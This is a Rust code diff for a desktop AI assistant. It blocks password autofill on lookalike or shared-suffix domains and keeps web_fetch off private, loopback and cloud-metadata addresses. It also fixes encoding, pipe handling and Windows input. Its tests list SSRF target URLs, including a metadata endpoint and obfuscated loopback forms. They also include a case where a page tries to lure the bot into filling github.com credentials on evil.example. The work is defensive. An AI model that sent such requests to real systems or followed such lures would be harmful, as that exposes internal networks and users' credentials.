let site = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty());
let same_site = |s: &str| crate::vault_store::registrable_domain(s) == crate::vault_store::registrable_domain(tab);
if let Some(site) = site.filter(|s| !same_site(s)) {
// A login saved for another site: the person sees the lookalike warning (matched is
// false when it isn't saved for this page), and no grant is kept.
return match crate::vault_store::logins_for(&site).into_iter().next() {
Some(item) => {
let matched = item.fills_on(&host);
Ok(LoginPlan { host, item: Some(item), matched, other: None })
}
// Keychain and 1Password logins carry no list of sites to warn with: only on their own site.
None => Err(format!("目前的分頁是 {host},不是 {site}。先打開 {site} 的登入頁,再填入(密碼只會填進它所屬的網站)。")),
};
}
if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() {
return Ok(LoginPlan { host, item: Some(item), matched: true, other: None });
}

View File

@ -163,7 +163,9 @@ impl Item {
let h = h.strip_prefix("www.").unwrap_or(&h);
self.sites.iter().any(|s| {
let d = registrable_domain(&host_of(s));
!d.is_empty() && (h == d || h.ends_with(&format!(".{d}")))
// (A site that is itself a suffix many owners share — 「gov.tw」, 「github.io」 —
// is that one address, never everything under it.)
!d.is_empty() && (h == d || (!is_public_suffix(&d) && h.ends_with(&format!(".{d}"))))
})
}
}
@ -197,25 +199,58 @@ pub fn host_of(s: &str) -> String {
h.strip_prefix("www.").map(String::from).unwrap_or(h)
}
/// Second-level suffixes where the registrable domain has three labels.
const TWO_PART_SUFFIXES: &[&str] = &[
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk",
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn", "github.io", "vercel.app", "netlify.app",
/// Suffixes of more than one label under which different owners have their own names: the
/// registrable domain is one label more. Countries' second levels, and the hosting services
/// where anyone gets a name next to anyone else's (a login saved for 「mine.pages.dev」 must not
/// be offered on 「someone-else.pages.dev」).
const SHARED_SUFFIXES: &[&str] = &[
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "game.tw", "club.tw", "ebiz.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "me.uk", "ltd.uk", "plc.uk", "sch.uk", "nhs.uk", "police.uk",
"co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk",
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn",
"github.io", "gitlab.io", "vercel.app", "netlify.app", "pages.dev", "workers.dev", "web.app", "firebaseapp.com", "appspot.com", "herokuapp.com", "azurewebsites.net", "blogspot.com",
"cloudfront.net", "onrender.com", "fly.dev", "glitch.me", "surge.sh", "ngrok.io", "ngrok-free.app", "ngrok.app", "trycloudflare.com", "amazonaws.com", "s3.amazonaws.com", "elasticbeanstalk.com",
"web.core.windows.net", "blob.core.windows.net", "r2.dev", "deno.dev", "replit.app", "repl.co", "wixsite.com", "weebly.com", "myshopify.com", "ts.net",
];
/// What registries put right under a country's two letters (「bank.com.tr」, 「x.gov.hk」,
/// 「y.co.il」): with one of these there, the name is the label before it.
const COUNTRY_SECOND_LEVELS: &[&str] = &["com", "co", "net", "org", "edu", "gov", "ac", "or", "ne", "go", "mil", "idv", "nom", "gob", "gouv"];
/// How many labels at the end of a host are a suffix shared by different owners (1: a plain
/// top-level domain).
fn suffix_labels(parts: &[&str]) -> usize {
let listed = SHARED_SUFFIXES.iter().map(|s| s.split('.').count()).filter(|n| parts.len() >= *n).filter(|n| SHARED_SUFFIXES.contains(&parts[parts.len() - n..].join(".").as_str())).max();
if let Some(n) = listed {
return n;
}
match parts {
[.., second, top] if top.len() == 2 && top.chars().all(|c| c.is_ascii_alphabetic()) && COUNTRY_SECOND_LEVELS.contains(second) => 2,
_ => 1,
}
}
fn labels(host: &str) -> Option<Vec<String>> {
let h = host.trim().trim_end_matches('.').to_lowercase();
if h.parse::<std::net::IpAddr>().is_ok() {
return None;
}
Some(h.split('.').filter(|p| !p.is_empty()).map(String::from).collect())
}
/// The host is nobody's own name: a suffix different owners share (「com.tw」, 「github.io」).
pub fn is_public_suffix(host: &str) -> bool {
labels(host).is_some_and(|l| {
let parts: Vec<&str> = l.iter().map(String::as_str).collect();
parts.len() >= 2 && parts.len() <= suffix_labels(&parts)
})
}
/// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are.
pub fn registrable_domain(host: &str) -> String {
let h = host.trim().trim_end_matches('.').to_lowercase();
if h.parse::<std::net::IpAddr>().is_ok() {
return h;
}
let parts: Vec<&str> = h.split('.').filter(|p| !p.is_empty()).collect();
if parts.len() <= 2 {
return parts.join(".");
}
let last2 = parts[parts.len() - 2..].join(".");
let n = if TWO_PART_SUFFIXES.contains(&last2.as_str()) { 3 } else { 2 };
parts[parts.len() - n.min(parts.len())..].join(".")
let Some(l) = labels(host) else { return host.trim().trim_end_matches('.').to_lowercase() };
let parts: Vec<&str> = l.iter().map(String::as_str).collect();
let n = (suffix_labels(&parts) + 1).min(parts.len());
parts[parts.len() - n..].join(".")
}
pub fn digits(s: &str) -> String {
@ -960,6 +995,23 @@ mod tests {
assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw");
assert_eq!(registrable_domain("accounts.google.com"), "google.com");
assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1");
assert_eq!((registrable_domain("google.com").as_str(), registrable_domain("t.co").as_str(), registrable_domain("localhost").as_str()), ("google.com", "t.co", "localhost"));
// Suffixes many owners share: the name is the label before the suffix, also where
// the suffix isn't on the list (a country's second level) or is longer than two labels.
assert_eq!(registrable_domain("www.bank.com.tr"), "bank.com.tr");
assert_eq!(registrable_domain("a.b.gov.hk"), "b.gov.hk");
assert_eq!(registrable_domain("mine.pages.dev"), "mine.pages.dev");
assert_eq!(registrable_domain("x.bucket.s3.amazonaws.com"), "bucket.s3.amazonaws.com");
assert_eq!(registrable_domain("go.com"), "go.com");
assert!(is_public_suffix("com.tw") && is_public_suffix("github.io") && is_public_suffix("com.tr") && !is_public_suffix("example.com.tw") && !is_public_suffix("com") && !is_public_suffix("10.0.0.1"));
// A login is for its own name there, never for a neighbour's.
let mine = Item { kind: Kind::Login, sites: vec!["https://mine.pages.dev/login".into()], ..Default::default() };
assert!(mine.fills_on("mine.pages.dev") && mine.fills_on("app.mine.pages.dev") && !mine.fills_on("evil.pages.dev") && !mine.fills_on("pages.dev"));
let bank = Item { kind: Kind::Login, sites: vec!["bank.com.tr".into()], ..Default::default() };
assert!(bank.fills_on("online.bank.com.tr") && !bank.fills_on("evil.com.tr"));
// A login saved on a suffix itself (「www.gov.tw」 is a real site) is for that address only.
let gov = Item { kind: Kind::Login, sites: vec!["https://www.gov.tw/".into()], ..Default::default() };
assert!(gov.fills_on("www.gov.tw") && gov.fills_on("gov.tw") && !gov.fills_on("evil.gov.tw"));
assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com");
let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() };
assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com"));
@ -1009,6 +1061,22 @@ mod tests {
assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039));
assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好");
assert_eq!(logins_for("gist.github.com").len(), 1);
// The open tab is the site, whatever `site` says: a page that talks the bot into naming
// github.com gets the lookalike warning (not matched → no grant to reuse), about itself.
let on = |tab: &str, args: serde_json::Value| crate::vault::plan_login_on(tab, &args);
let lure = on("evil.example", serde_json::json!({"site": "github.com"})).unwrap();
assert_eq!((lure.host.as_str(), lure.matched), ("evil.example", false));
assert!(lure.question().contains("evil.example") && lure.question().contains("仿冒"), "{}", lure.question());
let by_id = on("evil.example", serde_json::json!({"login_id": id, "site": "github.com"})).unwrap();
assert_eq!((by_id.host.as_str(), by_id.matched), ("evil.example", false));
// On its own site (naming it or not), it is the saved login, with no warning.
for args in [serde_json::json!({}), serde_json::json!({"site": "https://www.github.com/login"})] {
let own = on("gist.github.com", args).unwrap();
assert_eq!((own.host.as_str(), own.matched), ("gist.github.com", true));
}
// Nothing saved for the named site, or no page open: refused before any lookup.
assert!(on("evil.example", serde_json::json!({"site": "nothing-saved.example"})).is_err());
assert!(on("", serde_json::json!({"site": "github.com"})).is_err());
// Editing with an empty password keeps it.
put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap();
assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string()));

View File

@ -12,6 +12,15 @@ pub const MAX_SECS: u64 = 600;
/// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this
/// recorder's bitrate (estimated).
pub const MEETING_MAX_SECS: u64 = 7_200;
/// A recording limit in words (「10 分鐘」, 「2 小時」).
pub fn length_words(secs: u64) -> String {
if secs >= 3600 && secs.is_multiple_of(3600) {
format!("{} 小時", secs / 3600)
} else {
format!("{} 分鐘", secs / 60)
}
}
/// Transcription models tried in order.
pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"];

View File

@ -183,17 +183,133 @@ pub fn normalize_url(u: &str) -> Result<String, String> {
// ---------- web_fetch ----------
fn fetch(url: &str) -> Result<String, String> {
let url = normalize_url(url)?;
let agent: ureq::Agent = ureq::Agent::config_builder()
/// An address web_fetch may reach: out on the internet. Not this computer, not the network it
/// sits on (the router, the NAS, another service's port), not a cloud machine's metadata.
fn public_addr(ip: std::net::IpAddr) -> bool {
match ip {
std::net::IpAddr::V4(a) => {
let o = a.octets();
// (100.64/10: carrier NAT and Tailscale; 192.0.0/24 and 240/4: reserved.)
!(a.is_loopback() || a.is_private() || a.is_link_local() || a.is_unspecified() || a.is_broadcast() || a.is_multicast() || o[0] == 0 || (o[0] == 100 && o[1] & 0xc0 == 64) || (o[0] == 192 && o[1] == 0 && o[2] == 0) || o[0] >= 240)
}
std::net::IpAddr::V6(a) => match a.to_ipv4_mapped() {
Some(v4) => public_addr(std::net::IpAddr::V4(v4)),
// (fc00::/7 is the private range, fe80::/10 link-local; 64:ff9b::/96 carries an IPv4 address.)
None => !(a.is_loopback() || a.is_unspecified() || a.is_multicast() || a.segments()[0] & 0xfe00 == 0xfc00 || a.segments()[0] & 0xffc0 == 0xfe80 || (a.segments()[0] == 0x64 && a.segments()[1] == 0xff9b)),
},
}
}
/// The host and port of a web address (the brackets off an IPv6 one).
fn host_port(url: &str) -> Option<(String, u16)> {
let (scheme, rest) = url.split_once("://")?;
let auth = rest.split(['/', '?', '#']).next()?.rsplit('@').next()?;
let default = if scheme.eq_ignore_ascii_case("https") { 443 } else { 80 };
let (host, port) = match auth.strip_prefix('[') {
Some(v6) => {
let (h, after) = v6.split_once(']')?;
(h, after.strip_prefix(':').map(str::parse).transpose().ok()?.unwrap_or(default))
}
None => match auth.rsplit_once(':') {
Some((h, p)) => (h, if p.is_empty() { default } else { p.parse().ok()? }),
None => (auth, default),
},
};
(!host.is_empty()).then(|| (host.to_string(), port))
}
/// web_fetch runs with nothing asked, so it reads the public web only: a page (or a redirect)
/// that names this computer or the network around it is refused. It used to reach them all.
fn public_only(url: &str) -> Result<(), String> {
use std::net::ToSocketAddrs;
let (host, port) = host_port(url).ok_or_else(|| format!("「{url}」看起來不是網址"))?;
let h = host.trim_end_matches('.').to_lowercase();
let addrs: Vec<std::net::IpAddr> = match h.parse::<std::net::IpAddr>() {
Ok(ip) => vec![ip],
// (A name that can't be looked up here is left to the request, which fails the same
// way, or to the person's proxy, which looks it up itself.)
Err(_) => (h.as_str(), port).to_socket_addrs().map(|a| a.map(|s| s.ip()).collect()).unwrap_or_default(),
};
if h == "localhost" || h.ends_with(".localhost") || addrs.iter().any(|a| !public_addr(*a)) {
return Err(format!("web_fetch 只讀公開的網頁,「{host}」是這台電腦或內部網路的位址。要看本機或區網上的服務,用 shell(例如 curl)或 browser_open。"));
}
Ok(())
}
/// Looks names up like the default resolver, and hands back only public addresses: the check
/// that holds at the moment of connecting (a name can answer differently the second time).
#[derive(Debug)]
struct PublicResolver(ureq::unversioned::resolver::DefaultResolver);
impl ureq::unversioned::resolver::Resolver for PublicResolver {
fn resolve(&self, uri: &ureq::http::Uri, config: &ureq::config::Config, timeout: ureq::unversioned::transport::NextTimeout) -> Result<ureq::unversioned::resolver::ResolvedSocketAddrs, ureq::Error> {
let addrs = self.0.resolve(uri, config, timeout)?;
// The proxy the person set up is theirs to reach, wherever it is.
let proxy = config.proxy().is_some_and(|p| p.uri() == uri);
if !proxy && addrs.iter().any(|a| !public_addr(a.ip())) {
return Err(ureq::Error::Io(std::io::Error::new(std::io::ErrorKind::PermissionDenied, "內部網路的位址")));
}
Ok(addrs)
}
}
/// Where a redirect leads, from the page it came from.
fn follow(base: &str, location: &str) -> String {
let location = location.trim();
let scheme = base.split_once("://").map(|(s, _)| s).unwrap_or("https");
let origin_end = base.find("://").map(|i| i + 3).and_then(|i| base[i..].find(['/', '?', '#']).map(|j| i + j)).unwrap_or(base.len());
if location.starts_with("http://") || location.starts_with("https://") {
location.to_string()
} else if location.starts_with("//") {
format!("{scheme}:{location}")
} else if location.starts_with('/') {
format!("{}{location}", &base[..origin_end])
} else {
let path = base[origin_end..].split(['?', '#']).next().unwrap_or("");
let dir = path.rfind('/').map(|i| &path[..=i]).unwrap_or("/");
format!("{}{dir}{location}", &base[..origin_end])
}
}
/// Redirects web_fetch follows before it gives up (ureq's own default).
const MAX_REDIRECTS: usize = 10;
/// A page off the public web, as text in its own encoding: where it ended up after redirects,
/// the status, and the text. Every stop on the way is checked (`public_only`), so nothing on
/// this computer or its network is read. (skill_install fetches through here too: it took any
/// address, the router's and a cloud machine's metadata included.)
pub fn get_public(url: &str, limit: u64) -> Result<(String, u16, String), String> {
let mut url = normalize_url(url)?;
// Redirects are followed here, one at a time, so each stop is checked like the first.
let config = ureq::Agent::config_builder()
.http_status_as_error(false)
.max_redirects(0)
.timeout_global(Some(Duration::from_secs(20)))
.user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15")
.build()
.into();
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?;
.build();
let agent = ureq::Agent::with_parts(config, ureq::unversioned::transport::DefaultConnector::new(), PublicResolver(Default::default()));
let mut hops = 0;
let resp = loop {
public_only(&url)?;
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?;
let next = resp.headers().get("location").and_then(|l| l.to_str().ok()).filter(|_| matches!(resp.status().as_u16(), 301 | 302 | 303 | 307 | 308)).map(|l| follow(&url, l));
match next {
Some(_) if hops >= MAX_REDIRECTS => return Err(format!("{url} 一直轉址,讀不到內容。")),
Some(to) => {
hops += 1;
url = to;
}
None => break resp,
}
};
let status = resp.status().as_u16();
let body = resp.into_body().with_config().limit(MAX_FETCH_BYTES).read_to_string().map_err(|e| format!("讀取失敗:{e}"))?;
let said = resp.headers().get("content-type").and_then(|c| c.to_str().ok()).unwrap_or("").to_string();
let body = page_text(&resp.into_body().with_config().limit(limit).read_to_vec().map_err(|e| format!("讀取失敗:{e}"))?, &said);
Ok((url, status, body))
}
fn fetch(url: &str) -> Result<String, String> {
let (url, status, body) = get_public(url, MAX_FETCH_BYTES)?;
if status >= 400 {
return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。"));
}
@ -207,6 +323,25 @@ fn fetch(url: &str) -> Result<String, String> {
Ok(out)
}
/// The name after `charset=` (a Content-Type header, or the start of a page with its
/// `<meta charset="big5">` / `<meta http-equiv … content="text/html; charset=big5">`).
fn charset_named(s: &str) -> Option<String> {
let l = s.to_ascii_lowercase();
let at = l.find("charset=")? + "charset=".len();
let name: String = l[at..].trim_start_matches(['"', '\'', ' ']).chars().take_while(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')).collect();
(!name.is_empty()).then_some(name)
}
/// A page's bytes as text, in the encoding the answer's header names, else the one the page
/// itself names, else UTF-8 (bytes that are no text in it become <20>). Pages in Big5, GBK or
/// Shift_JIS — many older Taiwanese sites — were refused whole as 「讀取失敗」: they were read
/// as UTF-8 or not at all.
fn page_text(bytes: &[u8], content_type: &str) -> String {
let named = charset_named(content_type).or_else(|| charset_named(&String::from_utf8_lossy(&bytes[..bytes.len().min(4096)])));
let encoding = named.and_then(|n| encoding_rs::Encoding::for_label(n.as_bytes())).unwrap_or(encoding_rs::UTF_8);
encoding.decode(bytes).0.into_owned()
}
fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> {
let lower = s.to_ascii_lowercase();
let i = lower.find(a)?;
@ -308,24 +443,50 @@ fn osascript(script: &str, cancel: &AtomicBool) -> Result<String, String> {
if !cfg!(target_os = "macos") {
return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into());
}
let mut child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?;
let child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?;
match wait_piped(child, cancel, Duration::from_secs(SCRIPT_TIMEOUT_SECS)) {
Waited::Done(true, so, _) => Ok(so.trim_end().to_string()),
Waited::Done(false, _, se) => Err(se.trim().to_string()),
Waited::Stopped => Err("已停止".into()),
Waited::TooLong => Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into()),
}
}
/// How waiting for a command ended: it finished (went well?, what it printed, what it
/// complained of), the turn was stopped, or it took too long (then it is killed).
enum Waited {
Done(bool, String, String),
Stopped,
TooLong,
}
/// Wait for a command whose output comes through pipes, reading the pipes while waiting. A
/// pipe holds 64 KB: a command that prints more (a long page's text) stood still at that
/// point, was waited on until the time ran out, and the page was called unreachable.
fn wait_piped(mut child: std::process::Child, cancel: &AtomicBool, limit: Duration) -> Waited {
fn read_all(pipe: Option<impl std::io::Read + Send + 'static>) -> std::thread::JoinHandle<Vec<u8>> {
std::thread::spawn(move || {
let mut all = vec![];
if let Some(mut p) = pipe {
let _ = std::io::Read::read_to_end(&mut p, &mut all);
}
all
})
}
let (out, err) = (read_all(child.stdout.take()), read_all(child.stderr.take()));
let start = Instant::now();
loop {
if let Ok(Some(_)) = child.try_wait() {
let out = child.wait_with_output().map_err(|e| e.to_string())?;
let so = String::from_utf8_lossy(&out.stdout).trim_end().to_string();
let se = String::from_utf8_lossy(&out.stderr).trim().to_string();
return if out.status.success() { Ok(so) } else { Err(se) };
if let Ok(Some(st)) = child.try_wait() {
let text = |h: std::thread::JoinHandle<Vec<u8>>| String::from_utf8_lossy(&h.join().unwrap_or_default()).into_owned();
return Waited::Done(st.success(), text(out), text(err));
}
if cancel.load(Ordering::Relaxed) {
let stopped = cancel.load(Ordering::Relaxed);
if stopped || start.elapsed() > limit {
let _ = child.kill();
return Err("已停止".into());
let _ = child.wait();
return if stopped { Waited::Stopped } else { Waited::TooLong };
}
if start.elapsed() > Duration::from_secs(SCRIPT_TIMEOUT_SECS) {
let _ = child.kill();
return Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into());
}
std::thread::sleep(Duration::from_millis(100));
std::thread::sleep(Duration::from_millis(if start.elapsed() < Duration::from_millis(500) { 10 } else { 100 }));
}
}
@ -356,16 +517,11 @@ fn front_window_owners(cancel: &AtomicBool) -> Vec<String> {
if !cfg!(target_os = "macos") {
return vec![];
}
let Ok(mut child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] };
let start = Instant::now();
while start.elapsed() < Duration::from_secs(10) && !cancel.load(Ordering::Relaxed) {
if let Ok(Some(_)) = child.try_wait() {
return child.wait_with_output().map(|o| visible_window_owners(&String::from_utf8_lossy(&o.stdout))).unwrap_or_default();
}
std::thread::sleep(Duration::from_millis(50));
let Ok(child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] };
match wait_piped(child, cancel, Duration::from_secs(10)) {
Waited::Done(_, out, _) => visible_window_owners(&out),
_ => vec![],
}
let _ = child.kill();
vec![]
}
/// The browser whose window is closest to the front: the one the person is looking at.
@ -506,6 +662,81 @@ mod tests {
assert!(!html_to_text("<head lang=zh><title>不要</title></head><p>要</p>").contains("不要"));
}
/// A command that prints more than a pipe holds is read to its end, not waited on until
/// the time runs out.
#[cfg(unix)]
#[test]
fn long_output_is_read_while_waiting() {
let run = |script: &str| Command::new("sh").args(["-c", script]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().unwrap();
let start = Instant::now();
match wait_piped(run("head -c 300000 /dev/zero | tr '\\0' a; echo oops >&2; exit 3"), &AtomicBool::new(false), Duration::from_secs(20)) {
Waited::Done(ok, out, err) => assert_eq!((ok, out.len(), err.trim()), (false, 300_000, "oops")),
_ => panic!("it should have finished"),
}
assert!(start.elapsed() < Duration::from_secs(10), "{:?}", start.elapsed());
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(false), Duration::from_millis(200)), Waited::TooLong));
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(true), Duration::from_secs(20)), Waited::Stopped));
}
/// A page is read in the encoding it says it is in.
#[test]
fn a_page_is_read_in_its_own_encoding() {
let (big5, _, _) = encoding_rs::BIG5.encode("<html><head><meta charset=\"big5\"><title>臺南市政府</title></head><body>公告事項</body></html>");
assert!(std::str::from_utf8(&big5).is_err(), "not UTF-8 to begin with");
assert!(page_text(&big5, "text/html").contains("臺南市政府"), "named by the page");
let (gbk, _, _) = encoding_rs::GBK.encode("<title>中文网页</title>");
assert!(page_text(&gbk, "text/html; charset=GB2312").contains("中文网页"), "named by the header");
let (old, _, _) = encoding_rs::BIG5.encode("<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=Big5\"><title>舊網站</title>");
assert!(page_text(&old, "").contains("舊網站"));
assert_eq!(page_text("純 UTF-8".as_bytes(), "text/html; charset=utf-8"), "純 UTF-8");
assert_eq!(page_text("沒說編碼".as_bytes(), ""), "沒說編碼");
assert!(page_text(&[b'a', 0xff, b'b'], "text/html").starts_with('a'), "bad bytes don't lose the page");
assert_eq!(charset_named("text/html; charset=\"x-unknown\"").as_deref(), Some("x-unknown"));
assert_eq!(page_text("未知編碼照 UTF-8".as_bytes(), "text/html; charset=x-unknown"), "未知編碼照 UTF-8");
}
/// web_fetch asks nothing, so it reaches the public web only.
#[test]
fn a_fetch_stays_on_the_public_web() {
for inside in [
"http://127.0.0.1:8080/admin",
"http://localhost:3000/",
"http://api.localhost/",
"http://192.168.1.1/",
"http://10.0.0.5:9200/_cat/indices",
"http://172.16.4.4/",
"http://169.254.169.254/latest/meta-data/",
"http://100.100.100.100/",
"http://0.0.0.0:8000/",
"http://[::1]:8080/",
"http://[fd00::1]/",
"http://[fe80::1]/",
"http://[::ffff:127.0.0.1]/",
// Other spellings of 127.0.0.1 the system reads as an address.
"http://2130706433/",
"http://0x7f.1/",
"http://user:pw@127.0.0.1/",
"http://example.com@127.0.0.1/",
] {
assert!(public_only(inside).is_err(), "{inside} was let through");
// (Refused before any connection: by this check, or as not an address at all.)
assert!(fetch(inside).is_err_and(|e| e.contains("只讀公開的網頁") || e.contains("不是網址")), "{inside}");
}
for outside in ["https://93.184.215.14/", "http://8.8.8.8:8080/x", "https://[2606:4700:4700::1111]/", "http://127.0.0.1.nip.invalid/"] {
assert!(public_only(outside).is_ok(), "{outside}");
}
assert_eq!(host_port("https://example.com/a?b=http://127.0.0.1/"), Some(("example.com".to_string(), 443)));
assert_eq!(host_port("http://[::1]:81/x"), Some(("::1".to_string(), 81)));
assert_eq!(host_port("http://example.com:8080"), Some(("example.com".to_string(), 8080)));
assert_eq!(host_port("http://example.com?x=1"), Some(("example.com".to_string(), 80)));
// A redirect is read from the page it came from, then checked like any address.
assert_eq!(follow("https://a.example/x/y?q=1", "http://127.0.0.1/"), "http://127.0.0.1/");
assert_eq!(follow("https://a.example/x/y?q=1", "//b.example/z"), "https://b.example/z");
assert_eq!(follow("https://a.example/x/y?q=1", "/z"), "https://a.example/z");
assert_eq!(follow("https://a.example/x/y?q=1", "z"), "https://a.example/x/z");
assert_eq!(follow("https://a.example", "z"), "https://a.example/z");
}
#[test]
fn html_becomes_readable_text() {
let html = "<html><head><title>T</title><style>.a{}</style></head><body><script>var x=1;</script><h1>標題</h1><p>第一段&nbsp;文字 &amp; 更多</p><div>中&#25991;</div></body></html>";

View File

@ -8,8 +8,8 @@ use windows::Win32::Graphics::Gdi::{
DIB_RGB_COLORS, SRCCOPY,
};
use windows::Win32::UI::Input::KeyboardAndMouse::{
SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP,
MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY,
SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_HWHEEL, MOUSEEVENTF_LEFTDOWN,
MOUSEEVENTF_LEFTUP, MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY,
};
use windows::Win32::UI::WindowsAndMessaging::{
GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint,
@ -34,7 +34,9 @@ fn keys(vk: u16, up: bool, unicode: bool, ch: u16) {
let ki = KEYBDINPUT {
wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }),
wScan: ch,
dwFlags: if unicode { KEYEVENTF_UNICODE } else { if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) } },
// (A character is pressed and let go like any key: sent "down" twice, with no "up",
// every character was typed twice.)
dwFlags: (if unicode { KEYEVENTF_UNICODE } else { KEYBD_EVENT_FLAGS(0) }) | (if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) }),
time: 0,
dwExtraInfo: 0,
};
@ -73,6 +75,19 @@ fn modifiers(flags: u64) -> (Vec<u16>, Vec<u16>) {
(down, up)
}
/// Do something with the mouse while the modifier keys of `flags` are held (shift-click,
/// ctrl-scroll…): they were dropped, so every such step was a plain one.
fn holding(flags: u64, act: impl FnOnce()) {
let (down, up) = modifiers(flags);
for k in &down {
keys(*k, false, false, 0);
}
act();
for k in &up {
keys(*k, true, false, 0);
}
}
pub fn move_to(x: f64, y: f64) {
let (nx, ny) = norm(x, y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
@ -84,17 +99,18 @@ pub fn click(x: f64, y: f64, button: &str, count: i64, flags: u64) {
"middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP),
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
};
let _ = flags;
let (nx, ny) = norm(x, y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
for n in 1..=count.max(1) {
if n > 1 {
std::thread::sleep(std::time::Duration::from_millis(80));
holding(flags, || {
for n in 1..=count.max(1) {
if n > 1 {
std::thread::sleep(std::time::Duration::from_millis(80));
}
mouse(nx, ny, 0, down);
std::thread::sleep(std::time::Duration::from_millis(30));
mouse(nx, ny, 0, up);
}
mouse(nx, ny, 0, down);
std::thread::sleep(std::time::Duration::from_millis(30));
mouse(nx, ny, 0, up);
}
});
}
pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
@ -102,30 +118,47 @@ pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
"right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP),
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
};
let _ = flags;
if let Some((x, y)) = points.first() {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
